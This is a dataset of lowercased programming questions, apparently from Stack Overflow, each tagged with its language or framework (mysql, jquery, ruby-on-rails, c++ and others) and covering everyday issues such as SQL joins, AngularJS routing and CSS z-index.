using seteditable method in if function  i have a textfield named <code>custdoe_textfield</code> and i have set the editability disabled as follows:   <pre><code>custdoe_textfield.seteditable(false); </code></pre>   now i want to check if the editability is disabled or not and i planned to use <code>if</code> function as follows:   <pre><code>if (custdoe_textfield.seteditable == false) {    do something here } </code></pre>   it is showing me an error  any tips on this,java
not able to choose appropriate function <pre><code> &lt;div class= slidedown  ng-hide= !active1 &gt;     &lt;div class= expand-collapse-content &gt;       &lt;a ng-href= {{activeuser.path.mail}}          ng-show= activeuser.path.mail.length          ng-disabled= baseurl.endswith( /mail/ )          ng-click= mailbox.newmessage($event) &gt;email&lt;/a&gt;        &lt;a ng-href= {{activeuser.path.contacts}}          ng-disabled= baseurl.endswith( /contacts/ )          ng-click= addressbook.newcomponent( card ) &gt;contact&lt;/a&gt;        &lt;a ng-href= {{activeuser.path.calendar}}          ng-show= activeuser.path.calendar.length          ng-disabled= baseurl.endswith( /calendar/ )          ng-click= list.newcomponent($event   appointment ) &gt;calendar&lt;/a&gt;     &lt;/div&gt;   &lt;/div&gt; </code></pre>   i want to call the function from every page. but in this case by using this code if i m clicking on calendar from email page then it is redirected to calendar page but the new calendar function will not work...    after that if i m again clicking to calendar then calendar will come nd goes automatically.,angularjs
best way to parse this string  in php what is the most efficient way to parse this string into an associative array    <pre><code>%stcity^lastname$firstname$middlename^address1$address2^ ;uniqueid=yymmddyymmdd=  </code></pre>,php
mysql error code: 1093. you can t specify target table  s  for update in from clause  i know there are answers on this question   but i can t understand as their question code is not same with mine.  i have code here:   <pre><code>update s  set city=(select city from s where s_name= adams ) where s_name= smith ; </code></pre>   i tried to modify code according to the answers from other question:   <pre><code>update s  set city=(select city from (select* from s) as temta where s_name= adams ) where s_name= smith ; </code></pre>   even though the query is successful but i get null value  the value is not updated as i expected.,mysql
how get assembly name from array of byte that contains assembly   i receive byte array what contains assembly data. how i can get assembly name from this data without loading assembly in appdomain     <pre><code>var assemblyname = getassemblyname(byte[] asmdata);//doesn t load assembly to appdomain. </code></pre>,.net
stoppropogation for simultaneous click events inside html  my html file is   <pre><code>&lt;div onclick= alert( signup );location.href= signup.jsp ;  class= outerelement &gt;     &lt;div onclick= alert( login );location.href= login.jsp ;  class= innerelement &gt;       &lt;h1&gt;login&lt;/h1&gt;     &lt;/div&gt;     &lt;button onclick= alert( login );location.href= login.jsp ; &gt;add to carts&lt;/button&gt; &lt;/div&gt; </code></pre>   so how can i prevent the outer elements click event. in script event listener we can use stoppropagation. but am not using any script. what is the way to do in html,html
device s bluetooth is not visible from iphone  but it visible from android  i have a device with amp edrf bluetooth module. my iphone doesn t see it. but from android and other devices it is visible. what may cause this problem  thanks.,ios
getting  subquery returns more than one row  error whenever trying to join a column from another table as alias   i am stuck with this problem for a whole 2 days. i have a <code>users</code> table and it contains:   <pre><code>+--------+--------+----------+--------------------------------------------+ | userid |  name  | username |          profile_pic                       | +--------+--------+----------+--------------------------------------------+ |      1 | john   | john123  | http://localhost/profile_pic/user1pic.jpg  |  |      2 | andrew | andrew   | http://localhost/profile_pi/user2pic.jpg   | |      3 | doe    | doe      | http://localhost/profile_pic/user3pic.jpg  | +--------+--------+----------+--------------------------------------------+ </code></pre>   i have another table called <code>userpost</code> which contains:   <pre><code>+--------+--------+-------------+----------------------------+ | postid | userid | postmessage |         postimage          | +--------+--------+-------------+----------------------------+ |      1 |      1 |  hey        | http://localhost/post1.jpg | |      2 |      3 |  add me     | http://localhost/post2.jpg | |      3 |      2 |  boring     | http://localhost/post3.jpg | +--------+--------+-------------+----------------------------+ </code></pre>   <code>userid</code> is refrenced to <code>users.userid</code>. i am trying to join <code>profile_pic</code> to <code>userpost</code> but mysql is returning error. here is what i am doing:   <pre><code> select *  (select profile_pic from users   inner join userpost on users.userid = userpost.userid) as profile_pic from userpost </code></pre>   but getting <code>subquery returns more than 1 row</code> error    i know i am doing something stupid with the query. i just want something like this:   <pre><code> +--------+--------+-------------+----------------------------+--------------------------------------------+      | postid | userid | postmessage |         postimage          |    profile_pic                             |  +--------+--------+-------------+----------------------------+--------------------------------------------+  |      1 |      1 |  hey        | http://localhost/post1.jpg | http://localhost/profile_pic/user1pic.jpg  |   |      2 |      3 |  add me     | http://localhost/post2.jpg | http://localhost/profile_pic/user3pic.jpg  |   |      3 |      2 |  boring     | http://localhost/post3.jpg | http://localhost/profile_pi/user2pic.jpg   |  +--------+--------+-------------+----------------------------+--------------------------------------------+ </code></pre>   i am having a meeting tomorrow to showcase my prototype app. help will be appreciated.,mysql
how to insert select data into input when do not have id or class  how to insert select data into input when do not have id or class.     <strong>html code:</strong>   <pre><code>&lt;input type= text   name= employed_since  data-validators= required validate-date2 /&gt;  &lt;select id= field3  size= 0  style= display: inline-block; &gt; &lt;option value=   class=  &gt;................. &lt;select id= field4   size= 0  style= display: inline-block; &gt; &lt;option value=   class=  &gt;j </code></pre>   <strong>this is example js code when i have id:</strong>   <pre><code>$( field3 ).addevent( change   function() {      if (this.selectedindex != 0 &amp;&amp; $( field4 ).selectedindex != 0) {         $( employed_since ).value = this.value + $( field4 ).options[$( field4 ).selectedindex].value;         $( employed_since ).fireevent( change );         }  });  $( field4 ).addevent( change   function() {     if (this.selectedindex != 0 &amp;&amp; $( field3 ).selectedindex != 0) {         $( employed_since ).value = $( field3 ).options[$( field3 ).selectedindex].value + this.value;         $( employed_since ).fireevent( change );         }  }); </code></pre>,javascript
where is the appropriate place to release a variable w/ an objective-c switch statement   in the following code   <pre><code>nsdictionary *test;  switch (xxx) {   case 1:    ...    return yes;    break;    case 2:    ...    return no;    break;    case 3:    ...    return yes;    break; }  [test release]; </code></pre>   will the  test  variable be properly released or should there be a separate release statement w/in each switch case statement,objective-c
how to exclude some objects from as_json result  i have model <code>people</code>. model has method <code>hide()</code>. in a controller a need return list of not hidden models in addiction from some external conditions.   <pre><code># controller ... def index   render json: people.all.as_json end </code></pre>   i thought  that i can place needed contidion to overrided <code>as_json</code> method  but i don t know how to exclude hidden models from resulting array.    i override <code>as_json</code> method in <code>people</code> model:   <pre><code>class people   def as_json(options)     return false if hidden()     super(options)   end    def hidden ()     ... # return true or false   end   ... </code></pre>   then i call <code>as_json</code> for <code>peoples</code> array:   <pre><code>peoples.aj_json </code></pre>   and i get:   <pre><code>[   false    false    {...}  # model 1   {...}  # model 2 ] </code></pre>   but i need get array    <pre><code>[   {...}  # model 1   {...} # model 2 ] </code></pre>   is any way to do this with <code>as_json</code>  or i must create a flag  called <code>hidden_flag</code> in a model <code>people</code> and filter models when i make request to db     <pre><code># controller ... def index   peoples = people.where(hidden_flag: false)   render json: peoples.as_json end </code></pre>,ruby-on-rails
how to define routing concern in rails  how to define rails route concern    i have attachment for user and message. how can i defined common route   <pre><code>resources :comments </code></pre>   routes for user and message controller   <pre><code>resources :users resources :messages </code></pre>,ruby-on-rails
reading files in c++  i m looking for a way to way to read files in c++ i can write files  but here s where i m stuck at:    <pre><code>ifstream readfile; readfile.open( c:/users/crazy/desktop/useless.txt ) </code></pre>   i  ve seen people do things such as:   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt;  using namespace std;  int main() {      ifstream myreadfile;     myreadfile.open( text.txt );     char output[100];     if (myreadfile.is_open()) {         while (!myreadfile.eof()) {              myreadfile &gt;&gt; output;             cout &lt;&lt; output;          }     }     myreadfile.close();     return 0; } </code></pre>   but in   <pre><code>char output[100]; </code></pre>   i want the whole thing read.    also  i just want to only read it  not to check if it s already open  not to  check for errors. i just want to read the whole thing  and the whole thing only.,c++
binary search tree (search function) <pre><code>template &lt;class t&gt; struct treenode{   string value;   t key;   treenode&lt;t&gt; *parent;   treenode&lt;t&gt; *leftchild;   treenode&lt;t&gt; *rightchild;   treenode (t k string val)   {            this-&gt;value=val;            this-&gt;key=k;            this-&gt;parent=null;            this-&gt;leftchild=null;            this-&gt;rightchild=null;   } };  template &lt;class t&gt; class binarytree{   private:        treenode&lt;t&gt; *root;           public:          binarytree();        ~binarytree();        void insertnode(t key string val);        void deletenode(t key);        string searchnode(t key);        void updatekey(t newkey t oldkey);        int height(treenode&lt;t&gt; *node);        int height(); };     template &lt;class t&gt; string binarytree&lt;t&gt;::searchnode(t key) {         treenode&lt;t&gt; *temp=root; while (temp!=null) {       if (temp-&gt;key==key)       {           cout&lt;&lt;temp-&gt;key&lt;&lt;endl;                                        return temp-&gt;value;       }       if (temp-&gt;key&gt;key)       {           temp=temp-&gt;leftchild;       }       else if (temp-&gt;key&lt;key)       {            temp=temp-&gt;rightchild;       }                   }      return  \0 ; } </code></pre>   i am making a binary search tree. but when i run my search function  it always returns null value even when the value exists in the tree. either my constructor is not right or there is something wrong with my search function. i can t seem to figure out the problem. here is the constructor:   <pre><code>template &lt;class t&gt; binarytree&lt;t&gt;::binarytree() { root=null;                        ifstream fin; fin.open( names.txt ); string buffer; t buff; while (!fin.eof()) {       getline(fin buffer  ~ );       fin&gt;&gt;buff;        treenode&lt;t&gt; *temp *temp1;       temp=root;       temp1=temp;       while (temp!=null)       {           temp1=temp;             treenode&lt;t&gt; *right=temp-&gt;rightchild;           treenode&lt;t&gt; *left=temp-&gt;leftchild;           if (temp-&gt;key&gt;buff)           {               temp=temp-&gt;leftchild;           }           else if (temp-&gt;key&lt;buff)           {               temp=temp-&gt;rightchild;           }           else           {               temp=temp-&gt;leftchild;           }       }       if (temp!=root)       temp-&gt;parent=temp1;       temp=new treenode&lt;t&gt;(buff buffer); } fin.close(); } </code></pre>,c++
rails creating reply for message  is it right approach to create a form with hidden fields like this:   <pre><code>#show.html.haml = semantic_form_for @reply do |f|       = f.hidden_field :sender  :value =&gt; @message.sender_id       = f.hidden_field :receiver  :value =&gt; @message.receiver_id       = f.hidden_field :title  :value =&gt; @message.reply_title       = f.input :content  :as =&gt; :text       = f.submit  #private_messages_controller.rb   def show     @message = privatemessage.find(params[:id])     @message.read! if @message.receiver == current_user     @reply = privatemessage.new   end    def new     @message = privatemessage.new   end    def create     @message = privatemessage.new params[:private_message]     @message.sender = current_user     if @message.save       redirect_to user_path(@message.receiver)  :notice =&gt;  wiadomość została wysłana      else       render :new     end   end </code></pre>   to make a reply for a private message  or there is a better way to do it,ruby-on-rails
which is the fastest way of accessing javascript object   i want to know what is the best way of accessing a javascript object  dot operator or <code>[]</code>:    <code>data.property</code> or <code>data[ property ]</code>,javascript
how to know what to import   i have always been confused in finding out what i need to import in order to use a feature.     for example  when i use mfmailcomposeviewcontroller i know from googling that i need to    <pre><code>#import &lt;messageui/mfmailcomposeviewcontroller.h&gt; </code></pre>   and add: messageui.framework    from the reference documentation  how do i know that i need these things     <a href= http://developer.apple.com/library/ios/#documentation/messageui/reference/mfmailcomposeviewcontroller_class/reference/reference.html >http://developer.apple.com/library/ios/#documentation/messageui/reference/mfmailcomposeviewcontroller_class/reference/reference.html</a>    i want to learn how to better use the reference docs without relying on googling sample codes to find out what i need to import in the future  so can someone explain how to figure this out from documentation,ios
sql: deleting data where parent doesn t exist  i have a hierarchical table  pages   with  id  and  id_parent  fields. thanks to some crappy old code there are still a lot of rows without a parent. i want to delete these rows. is this possible using only sql,sql
safari browser ignoring zindex  i have a small problem on a web page (<a href= http://goldschmiede-h-j-baier.de/dev/index.php id=10  rel= nofollow >http://goldschmiede-h-j-baier.de/dev/index.php id=10</a>) everything is displayed correctly  the footer is pushed upwards with z-index. but safari does the z-index does not and i do not know why. the footer is always placed behind the main container ...   <pre><code>/*website*/ html body {   background:#000;   font-family: trebuchet ms  helvetica jamrul sans-serif;   color:#fff;   overflow:hidden;   border-left: 5px solid;   border-right: 5px solid; } .maincontainer {   overflow:auto;   height:100%;   width: 100%; } #footer {   height:64px;   position:fixed;   bottom:30px;   z-index:200; } #navigation {   position:fixed;   left:30%; }  #logo {   background:url(../images/logo-baier.png);   width:217px;   height:75px;   position:fixed;   bottom:30px;   z-index:202;   left:10%; } #social {   position:fixed;   right:0;   top:30px;   z-index:302; }    /*slider*/ #slides {   position:relative; } .slides {   background:#000;   /*margin-top:10px;*/   border-bottom: 10px solid #fff;    border-top: 10px solid #fff; } #slides .slides-container {   display:none; } #slides .scrollable {   *zoom:1;   position:relative;   top:0;   left:0;   overflow-y:auto;   -webkit-overflow-scrolling:touch;   height:100%; } #slides .scrollable:after {   content:  ;   display:table;   clear:both; } .slides-navigation {   margin:0 auto;   position:absolute;   z-index:3;   top:56%;   width:100%; } .slides-navigation a {   position:absolute;   display:block; } .slides-navigation a.prev {   left:0px; } .slides-navigation a.next {   right:0px; } .slides-pagination {   position:absolute;   z-index:3;   bottom:0;   text-align:center;   width:100%; } .slides-pagination a {   border:2px solid #222;   border-radius:15px;   width:10px;   height:10px;   display:-moz-inline-stack;   display:inline-block;   vertical-align:middle;   *vertical-align:auto;   zoom:1;   *display:inline;   background-image:url( data:image/png;base64 ivborw0kggoaaaansuheugaaaaeaaaabcaqaaac1hawcaaaac0leqvr4ngp6zwaaagcbapocmxeaaaaasuvork5cyii= );   margin:2px;   overflow:hidden;   text-indent:-100%; } .slides-pagination a.current {   background:#222; } .next {   width:35px;   height:55px;   background-image:url( ../images/str.png );   background-position:42px -44px; } .prev {   width:35px;   height:55px;   background-image:url( ../images/str.png );   background-position:-7px -44px; } .slides-pagination {   display:none; } .bottom {   position:absolute;   z-index:3000;   bottom:90px;   width:100%;   right:-60%; } .bottom a {   width:51px;   height:32px;   background-image:url( ../images/str.png );   background-position:0px 0px;   display:inline-block; } .top {   position:absolute;   z-index:3000;   top:0;   text-align:center;   width:100%;   margin-top: 10px; } .top a {   width:51px;   height:32px;   background-image:url( ../images/str.png );   background-position:-68px 0px;   display:inline-block; } </code></pre>,css
printing an array of arrays in objective c  sorry for the simple question  but i am self taught and know that there are gaps in my education.    to print an array in objective c  i believe is:   <pre><code>nslog(@ my array: %@   myarray); </code></pre>   how can i print an array of arrays     thanks,objective-c
find the total number of people who owned cars in mysql given the schema  hey guys im doing some revision for exam and going through past papers can someone tell me if im on the right track.    consider the insurance database given below:    <pre><code>person (driver-id  name  address)&lt;br&gt; car (license  model  year)&lt;br&gt; accident (report-number  date  location)&lt;br&gt; owns (driver-id  license) &lt;br&gt; participated (driver-id  car  report-number  damage-amount)&lt;br&gt; </code></pre>   1)find the total number of people who owned cars that were involved in accidents in 2004.     here is what i came up with:   <pre><code>select count(driver-id) from participated where participated.reportnumber=accident.reportnumber and accident.date = 2004 </code></pre>   am i on the right track  any help would be appreciated.,mysql
postbackurl vs response.redirect  what are the differences between postbackurl response.redirect and server.transfer  what method we need to follow in which situations,asp.net
how to add text instead of image jquery slideshow   i m using the query slideshow created by matt hinchliffe (<a href= http://i-like-robots.github.com/jquery-slideshow/  rel= nofollow >http://i-like-robots.github.com/jquery-slideshow/</a>) i really like the simplicity and how fast this slideshow is. to get to my question  on my website (<a href= http://www.vanessenstudio.com  rel= nofollow >http://www.vanessenstudio.com</a>)    i want this section:   <pre><code>    &lt;section id= introduction &gt;     &lt;div id= example &gt;     &lt;div class= slideshow  data-transition= scroll  data-loop= true  data-skip= true  data-pagination= false &gt;     &lt;ul class= carousel &gt;         &lt;li class= slide &gt;&lt;img alt=   src= images/facephoto.jpg  width= 960  height= 400  /&gt;&lt;/li&gt;         &lt;li class= slide &gt;&lt;img alt=   src= images/facephoto1.jpg  width= 960  height= 400  /&gt;&lt;/li&gt;         &lt;li class= slide &gt;&lt;img alt=   src= images/facephoto2.jpg  width= 960  height= 400  /&gt;&lt;/li&gt;     &lt;/ul&gt;     &lt;/div&gt;     &lt;/div&gt;     &lt;/section&gt; </code></pre>   to have a slide with text with a fixed width and height of 960 by 400. i know i can create a file in illustrator and save it as an image but i was wondering if it is possible. i replaced ing alt= after li class by  and sure enough text appears. unfortunately it doesn t appear in the fixed width and height.     any help would be appreciated.,jquery
how to get an array of attributes hashes from an array of records   i want to print all questions and status fields.  how can i extract the required data in an array      this is my array : <code>@category_questions</code>     <code>[#&lt;question id: 38  user_id: 1  question:  hi   question_status: 1  created_at:  2013-06-04 18:32:28   updated_at:  2013-06-04 18:32:28 &gt;  #&lt;question id: 40  user_id: 1  question:  urll   question_status: 1  created_at:  2013-06-04 18:34:57   updated_at:  2013-06-04 18:34:57 &gt;  #&lt;question id: 41  user_id: 1  question:  urll   question_status: 1  created_at:  2013-06-04 18:35:31   updated_at:  2013-06-04 18:35:31 &gt;]</code>    i tried <code>@category_questions[iteration_number][:some field]</code> but it did not work.,ruby-on-rails
routing angularjs not working  hi i am working on the angular js 60ish min tutorial an am not able to figure out the routing functionality here is my code issue: when i open the html file nothing happens i do noy see any routing happening view1.html and view2.html are in the same folder with main.html and angular.min.js file.    please point the mistake in the code or how to debug this.   <pre><code>&lt;!doctype html&gt; &lt;html data-ng-app = demoapp &gt; &lt;head&gt;&lt;title&gt;new angular js app &lt;/title&gt;&lt;/head&gt; &lt;body&gt; &lt;div&gt; &lt;div ng-view&gt;&lt;/div&gt; &lt;/div&gt; &lt;script src =  angular.min.js &gt;&lt;/script&gt; &lt;script&gt; var demoapp = angular.module( demoapp  []); demoapp.config(function($routeprovider){ $routeprovider     .when( /view1           {         controller: simplecontroller           templateurl: view1.html          })     .when( /view2           {         controller: simplecontroller           templateurl: view2.html          })     .otherwise({ redirectto: /view1 });  }); demoapp.controller( simplecontroller   function  ($scope){ $scope.customers = [     {name: ishan   city: delhi }      {name: ankit   city: new delhi }      {name: subhash   city: haridwar }      ]; $scope.addcustomer = function() {     $scope.customers.push         ({             name:$scope.newcustomer.name               city:$scope.newcustomer.city         }); }; }); &lt;/script&gt;&lt;/body&gt;&lt;/html&gt; </code></pre>,angularjs
the second condition in the if statment with or operator  i have the following if statment which contains of two conditions with or perator. so in the following code i am getting this error <code>java.lang.numberformatexception: for input string:   </code> i thought in java the second condition in the if statment is checked if the first condition is not valid.     the compressduration could be empty or null or blank or a string vlaue like 100.    in the case below the compressduration is empty also it is blank also the second condition <code>integer.parseint(compressduration.trim())</code> must not be checked      how can i write the if statment to conver the 4 cases <code>empty or null or blank or a string vlaue like 100.</code>    <pre><code>string compressduration =   ;    if(stringutils.isblank(compressduration) || integer.parseint(compressduration.trim())){     system.out.println( the compressduration  has no value or a  );     }else{      } </code></pre>,java
i want to use bind and live both for click event on same element  through one plugin  jquery bind (on click event) is working on the element. later in my js m using live(for click event) function on the same element.. not working at all in ie. in chrome not working for first click. please tell me the reason and how to solve this.   <pre><code>$( .pageno ).live( click  function(){      alert( live );     $( #pagecont #rows .f-w-7 ).html( &lt;input type= image  value= submit  src= images/edit4.png  alt= edit /&gt; );     $( #pagecont #rows .f-w-7 ).css( width   40px );     var num = $( #pagecont tbody tr ).length;     for(var i=0;i&lt;num;i++)     {                    var st;         if($( #pagecont #rows ).find( tr )[i].cells[6].textcontent)             {                 st = $( #pagecont #rows ).find( tr )[i].cells[6].textcontent;             }         else             {                 st = $( #pagecont #rows ).find( tr )[i].cells[6].innertext;             }                 if(st ==  active )                     {                         $( #pagecont #rows ).find( tr )[i].cells[6].innerhtml =  &lt;center&gt;&lt;img src= images/activedot.png  alt= active  /&gt;&lt;/center&gt; ;                     }                 else if(st ==  inactive )                     {                         $( #pagecont #rows ).find( tr )[i].cells[6].innerhtml =  &lt;center&gt;&lt;img src= images/inactivegrey.png  alt= inactive  /&gt;&lt;/center&gt; ;                     }      } }); </code></pre>   this is in my js.   <pre><code>$( .pageno ).bind( click  function(){                  if(this.id== prevpage ){                     if(currentpage!=1)                         currentpage=currentpage-1;                 }                 else if(this.id== nextpage ){                     if(currentpage!=totalpage)                         currentpage=currentpage+1;                 }                 else{                      currentpage = parseint($(this).text());                 }                 $( #dd_list ).changepage({currentpage:currentpage rowinpage:rowinpage totalpage:totalpage});             });             if(currentpage==1){                 $( #prevpage ).hide();             }             else{                 $( #prevpage ).show();             }             if(currentpage==totalpage){                 $( #nextpage ).hide();             }             else{                 $( #nextpage ).show();             }         });     } }); </code></pre>   this is in the plugin.    and this is how the element is created in the same plugin.   <pre><code>$( #pagenolist ).append($(document.createelement( li )).attr({ id : prevpage   class : pageno }).addclass( pagenoui ).text( &lt;&lt; ));             for(var i=pagestart;i&lt;=pagestart+10;i++){                 if(i==0)                     continue;                 if(i&lt;=totalpage){                     if(i==currentpage){                         $( #pagenolist ).append($(document.createelement( li )).attr( class   currentpage ).text(i));                     }                     else{                         $( #pagenolist ).append($(document.createelement( li )).attr( class   pageno ).addclass( pagenoui ).text(i));                     }                 }             }             $( #pagenolist ).append($(document.createelement( li )).attr({ id : nextpage   class : pageno }).addclass( pagenoui ).text( &gt;&gt; )); </code></pre>,jquery
mysql  filtering by number of occurrences of a specific foreign key  i m trying to discover the foreign keys which appear more than once for all rows in table and return those foreign keys via a subquery.    using <code>group by</code> on the column i was able to visualize the <code>count</code> of each foreign key:   <pre><code>select orders_id  count(*) as count from order_history group by orders_id </code></pre>   but then when i augment it with a where clause in an attempt to filter  like this:   <pre><code>select orders_id  count(*) as count from order_history group by orders_id where count &gt; 1 </code></pre>   i get an error   <pre><code>#1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  where count &gt; 1 limit 0  30  at line 4 </code></pre>   apparently <code>count</code> is ineligible for comparisons at the point <code>where</code> is evaluated     <strong>: post answer update :</strong>    thanks for the speedy responses! <code>having</code> is exactly what i was missing. i found this question helpful expansion of the topic: <a href= https://stackoverflow.com/questions/2905292/where-vs-having >where vs having</a>,mysql
system.nullreferenceexception:  object reference not set to an instance of an object <pre><code>protected void btnsavesite_click(object sender  eventargs e) {                 if (listselectedcar.items.count &gt; 0)       {           listselectedcar.selectedindex = 0;       }       addnewinventory  addnewinventoryobject = new addnewinventory();      datatable dt = addnewinventory.update_inventory( id  listselectedcar.selecteditem.text)  </code></pre>   i have two list boxes  one of them(listbox1) list all the available cars and other list box (listbox2) holds the car that customer selects.if list box 2 holds value there is no problem but as i try to save the inventory without value in listbox2 i get null referance error .<a href= https://i.stack.imgur.com/vkufb.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vkufb.png  alt= enter image description here ></a>,asp.net
jquery how to append and serialize an array  i have a form that it s being serialized:   <pre><code>// save data var data = $( #siteform input ).serialize();   </code></pre>   data will contain the following:    site=asdf&amp;strdateupdate=08%2f31%2f2016&amp;startingbr=1&amp;endingbr=1&amp;handsplayed=1&amp;screenshot=www.screenshoturl2.com    now i have an array of strings:   <pre><code>var contents = $( #screenlist ).html().split(/\n|\&lt;br&gt;/).filter(function(v) {                             return /\w+/.test(v);                         });                         var links = {};                          for (var k in contents) {                             links[k] = contents[k];                         } </code></pre>   and now i need to append <code>links</code> array into my data serialized content so my server can catch it.   <blockquote>    any clue   </blockquote>,jquery
not getting post value from file_get_contents( php://input )  i am having an issue when i am using a post request on an php file and i am passing simple keys and values to post. for example say <code>key = productid</code> and <code>value = 123</code>.   <pre><code>&lt; php  $data_back = json_decode(file_get_contents( php://input ));  return $data_back; </code></pre>   i am receiving nothing. please assist.,php
how to migrate has_and_belongs_to_many to has_many through   we have a simple has_and_belongs_to_many relation between two models. we would like to add in some paramaters to that model  so we need to change it to a has_many :through sort of model.     as i know it  we need to add in an id column (along with whatever columns we want additionally). however  i m not clear 100% on how to do this. if we add an integer column :id  will rails know that that is the  id  primary key     we re using the latest 3.x.,ruby-on-rails
mysql: stored procedures  we are at the beginning to build up our site. maybe you should check it out first to understand our problem: <a href= http://erasmusinn.com  rel= nofollow >www.erasmusinn.com</a>    basically we are thinking about to use mysql for stored procedures or not. we only need to insert and update our database. since we are planning to have thousands of database entities  it is very important that we use the most efficient way to update our database.     what do you think  should we use mysql,mysql
is it right to instantiate active classes outside of page_load   a quick question for an asp.net expert. it is an arguable moment for us in the company at the moment...    we have built a nice (no bugs in there) cms framework that we use for our sites...    it goes something like this:   <pre><code>mycms.content.channels channels = new mycms.content.channels(); </code></pre>   where at the moment of instantiating the channels class  it loads a bunch of xml files and converts them to a <code>list&lt;mycms.content.channels.channel&gt;</code> that is held within the channels class  and cached using <code>system.web.httpruntime.cache</code> (until there are any changes to the folder holding the xml files)    the channels class is basically a hierarchical structure for web pages...    we normally use it like this in our asp.net pages (code behind):   <pre><code>public partial class default : system.web.ui.page {     public mycms.content.channels channels;     public mycms.content.images images;      public mycms.content.channels.channel currentchannel;     public list&lt;mycms.content.channels.channel&gt; latestitems;      public mycms.content.gamevotes votes;     public mycms.content.gamevotes.vote vote;      protected void page_load(object sender  eventargs e)     {         channels = new mycms.content.channels();         images = new mycms.content.images(); .. } </code></pre>   <strong>as you can see  the public variable  channels  is instantiated at page_load()... where at the moment it has loaded a bunch of xml files either from a file system  or from cache...</strong>    our colleague though  is sometimes instantiating this class outside of page_load() - right next to the public declaration of the  channels  variable like this:   <pre><code>public partial class default : system.web.ui.page {     public mycms.content.channels channels = new mycms.content.channels();      protected void page_load(object sender  eventargs e)     { </code></pre>   ... he does the same in various user controls...    now thing is.. i need your opinion on whether it s ok to instantiate a very active class like this - outside of page_load() event...   <strong>the site that was built by our colleague was hanging the entire iis from time to time  and i just suspect that this could be one reason...</strong> - what do you think  please   :)    the same cms framework is being used on other sites  on other servers with no issues at all... so the only difference i could find between the good working sites and the one that is hanging - is this .. instantiation of  channels  class outside the scope of page_load()...,asp.net
javascript object constructor with objects  i understand this is object constructor function. simple to understand for beginner.   <pre><code>var myfather = new person( john    doe   50   blue ); </code></pre>   <br>    what about this  inside new keyword there are objects.   <pre><code>var app = new vue({   el:  #app     data: {   message:  hello vue!   } }) </code></pre>   <br> this one has .store. how does it work    <pre><code>const store = new vuex.store({   state: {     count: 0   }    mutations: {     increment (state) {       state.count++     }   } }) </code></pre>   please let me know if there are any websites i can read. thanks.,javascript
focus the next input with down arrow key (as with the tab key)  i have a huge entry form  and  fields for the users to  input.    in the form user use tab key to move to next feild there are some hidden fields and  readonly textboxes in between on which tab key is disabled using javascript.    now users finds difficult to use tab key and wants same functionality on down arrow key of the keyboard.    i was using the below code to invoke the tab key code on js but not working please some body help me on this.   <pre><code>function handlekeydownevent(eventref) {   var charcode = (window.event)   eventref.keycode : eventref.which;   //alert(charcode);   // arrow keys (37:left  38:up  39:right  40:down)...  if (  (charcode == 40) )  {    if ( window.event )    window.event.keycode = 9;   else    event.which = 9;    return false;  }   return true; }  &lt;input type= text    onkeydown=  return  handlekeydownevent(event);  &gt; </code></pre>,javascript
session with no cookies  i ran into a situation that i brought onto myself by disabling cookies: session state wasn t working as expected. how do you check to see that the user has cookies enabled in an http module     thanks.,asp.net
how to decide parameters of the property of an instance variable in iphone os  i am noob in iphone development..i have a query hope i you people will solve..    in every interface file(*.h file) we declare a property for every instance variable like this...   <pre><code>#import &lt;uikit/uikit.h&gt;   @interface fruit : nsobject {    nsstring *name;  nsstring *description; }  @property(nonatomic  copy) nsstring *name; @property(nonatomic  copy) nsstring *description;  - (id)initwithname:(nsstring*)n description:(nsstring *)desc;  @end </code></pre>   in this  how do we decide what will be parameters for the property of a variable        thanks in advance..,iphone
how do i check between 2 arrays of different objects   i want to check if a claim s items has assets in it and @item_assets basically gets all the items in the database that are classified as assets.    when doing the following:   <pre><code>&gt;&gt; @claim.items =&gt; [#&lt;item id: 8  name:  chair   amount: 10.0  gst: 0.7  override: false  item_category_id: 7  item_expense_id: 8  claim_id: 8  club_id: 71  created_at:  2009-10-18 10:16:10   updated_at:  2009-10-18 10:16:10 &gt;  #&lt;item id: 9  name:  soemthing   amount: 20.0  gst: 1.4  override: false  item_category_id: 7  item_expense_id: 7  claim_id: 8  club_id: 71  created_at:  2009-10-18 10:16:10   updated_at:  2009-10-18 10:16:10 &gt;]  &gt;&gt; @items_assets =&gt; [#&lt;item id: 8  name:  chair   amount: 10.0  gst: 0.7  override: false  item_category_id: 7  item_expense_id: 8  claim_id: 8  club_id: 71  created_at:  2009-10-18 10:16:10   updated_at:  2009-10-18 10:16:10 &gt;  #&lt;item id: 9  name:  soemthing   amount: 20.0  gst: 1.4  override: false  item_category_id: 7  item_expense_id: 7  claim_id: 8  club_id: 71  created_at:  2009-10-18 10:16:10   updated_at:  2009-10-18 10:16:10 &gt;]  &gt;&gt; @claim.items.include  @items_assets =&gt; false </code></pre>   the result puzzles me. after investigation i realize that the items on both arrays are of different object even though they refer to the same id.    as such  it appears that include  can no longer work in this case.    can someone suggest how else should i go about checking if a claim s items have assets in it    <pre><code>claim hm items items bt claim </code></pre>,ruby-on-rails
why i get different result when i use (select * vs select uuid) which followed by order by at the end   i have two select statement in mysql.  first:   <pre><code>select o.uuid from wmsstockinbill o where 1=1 and o.orguuid =  4028c08d555dfd9901555e1287f50002  order by o.indate desc` </code></pre>   i get the following result    <img src= https://i.stack.imgur.com/cvwkd.png  alt= uuids >    second:   <pre><code>select * from wmsstockinbill o where 1=1 and o.orguuid =  4028c08d555dfd9901555e1287f50002  order by o.indate desc </code></pre>   the uuid column of the result is    <img src= https://i.stack.imgur.com/orwnx.png  alt= uuid2 >    i already use <code>order by</code>  so why is the order of the two uuid columns different  i think there must be some principle which mysql uses to select results from table  and what is it,mysql
